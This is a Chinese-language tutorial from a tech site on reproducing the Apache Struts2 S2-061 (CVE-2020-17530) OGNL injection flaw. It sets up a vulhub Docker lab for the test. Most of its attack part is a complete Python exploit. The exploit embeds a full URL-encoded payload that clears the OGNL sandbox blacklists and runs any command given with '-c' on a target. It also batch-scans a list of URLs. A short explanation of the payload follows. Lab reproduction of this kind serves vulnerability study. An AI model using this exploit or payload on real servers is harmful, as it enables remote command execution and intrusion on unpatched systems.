溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫

發(fā)布時(shí)間:2021-12-28 17:55:28 來源:億速云 閱讀:148 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

1、簡(jiǎn)介

Apache Struts2框架是一個(gè)用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達(dá)式注入漏洞,從而造成遠(yuǎn)程代碼執(zhí)行,風(fēng)險(xiǎn)極大。

2、漏洞原理

Structs2攻擊者通過構(gòu)造惡意的 OGNL 表達(dá)式,引發(fā) OGNL 表達(dá)式二次解析,最終造成遠(yuǎn)程代碼執(zhí)行的影響。

此漏洞利用的是Structs2會(huì)對(duì)某些標(biāo)簽屬性(比如id)的屬性值進(jìn)行二次表達(dá)式解析,當(dāng)這些標(biāo)簽屬性中使用了 `%{x}` 且 `x` 的值用戶可控時(shí),攻擊者構(gòu)造payload,payload里面就是OGNL表達(dá)式 ,通過OGNL 可以訪問 對(duì)象的屬性,執(zhí)行系統(tǒng)命令。

3、影響版本:

struts 2.0.0 - struts 2.5.25

4、poc編寫

4.1代碼編寫

使用的是python語言,導(dǎo)入四個(gè)庫,request庫、sys庫、re庫、OptionParser庫。

其實(shí)一開始的代碼只有def s2_file這個(gè)功能,批量掃描一個(gè)txt里面所有的url。

但是表哥說我這個(gè)代碼人機(jī)交互太差了,就加了兩個(gè)功能def s2_url(實(shí)現(xiàn)單個(gè)url掃描)和解析庫(設(shè)置usage的options)

''' 
author:Sweetmelon
time:2020-12-14
s2-061 poc
'''
# -*- coding:utf-8 -*-
import requests,sys,re

def s2_file(filename, command="id"):
    with open(filename, 'r', encoding = 'utf-8') as f1:
        for line in f1:
            payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+command+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"  
            url=line+"/index.action?id="+payload
            # print(url)
            r=requests.get(url).text
            # print(r)
            z=re.findall("a id=.*",r)
            output=str(z).replace("a id=\"","")
            # print(output)
            if "uid" in output:
                print(line.strip()+"存在struct2-061漏洞")
            else:
                print(line.strip()+"不存在struct2-061漏洞")

def s2_url(url, command="id"):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+command+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"  
    url=url+"/index.action?id="+payload
    # print(url)
    r=requests.get(url).text
    # print(r)
    z=re.findall("a id=.*",r)
    output=str(z).replace("a id=\"","")
    print(output)

from optparse import OptionParser
usage = "%prog -f filename\nUsage2: %prog -u url -c command"
parser=OptionParser(usage=usage)
parser.add_option('-f','--file',action='store',type='string',dest='filename',help='Input Filename')
parser.add_option('-u','--url',action='store',type='string',dest='url',help='Input URL')
parser.add_option('-c','--command',action='store',type='string',dest='command',help='Input Command')

(options, args) = parser.parse_args()
# print(type(options.url))
# print(options.url)
if(options.filename and options.url==None):
    # print(options.filename)
    s2_file(options.filename)
if(options.url and options.filename==None):
    # print(options.url)
    s2_url(options.url, options.command)
if(options.filename and options.url):
    print("Usage1: "+sys.argv[0]+"-f filename\nUsage2: "+sys.argv[0]+"-u url -c command")
if(options.filename==None and options.url==None):
    print(sys.argv[0]+" -h")

4.2pyload解析(鄭老師小課堂)

(1)第一個(gè)pyload

為什么前面寫這么長(zhǎng),是為了繞過沙盒(其實(shí)structs2-061就是structs2-059的繞過)。

已知的OGNL沙盒限制為:
無法new一個(gè)對(duì)象
無法調(diào)用黑名單類和包的方法、屬性
無法使用反射
無法調(diào)用靜態(tài)方法
OGNL沙盒未限制的操作為:
對(duì)象屬性 setter/getter(public) 賦/取值,可以訪問靜態(tài)屬性。
已實(shí)例類的方法調(diào)用( OgnlContext 中的對(duì)象),不允許調(diào)用靜態(tài)方法
可以看到目前我們只能在 OgnlContext 中尋找可利用的對(duì)象。

如果要深入的話,需要了解整個(gè)struct2項(xiàng)目和 OGNL 語法了。但是,不深入理解的話,就知道 通過OGNL 語法 ,重置 黑名單,然后得到 訪問的命令執(zhí)行類的命令執(zhí)行方法

如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫

(2)第二個(gè)pyload

如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫

5、漏洞復(fù)現(xiàn)

5.1漏洞環(huán)境搭建

(1)kali安裝 docker

#部署前準(zhǔn)備
在開始之前,請(qǐng)確保您的Kali Linux完全是最新的。
添加Docker PGP key:
因?yàn)閲鴥?nèi)對(duì)docker官網(wǎng)的網(wǎng)速支持并不友好,我將使用清華鏡像作為代替
$ curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

#配置Docker APT repository:
$ echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
#更新APT
sudo apt-get update
#安裝Docker
#如果您安裝了舊版本的Docker,請(qǐng)卸載它們:
$ sudo apt-get remove docker docker-engine docker.io
#安裝docker:
$ sudo apt-get install docker-ce
#查看docker狀態(tài):
$ sudo systemctl status docker
# 啟動(dòng)docker:
$ sudo systemctl start docker
# 開機(jī)自動(dòng)啟動(dòng)
sudo systemctl enable docker
# 查看安裝版本
$ sudo docker version

(2)下載vulhub-master放到kali

git clone https://github.com/vulhub/vulhub.git

(3)進(jìn)入目錄/vulhub-master/struts2/s2-061

啟動(dòng)靶場(chǎng):docker-compose up -d

5.2驗(yàn)證漏洞

(1)瀏覽器打開http://192.168.8.135:8080/

如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫

(2)抓包手工驗(yàn)證

抓包看到這個(gè)漏洞標(biāo)志性的信息/.action?id=

于是將payload放上去,可以看到返回包返回了我們命令執(zhí)行請(qǐng)求的結(jié)果

如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫

(3)poc腳本驗(yàn)證

如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫

關(guān)于如何進(jìn)行structs2-061遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)及poc編寫就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI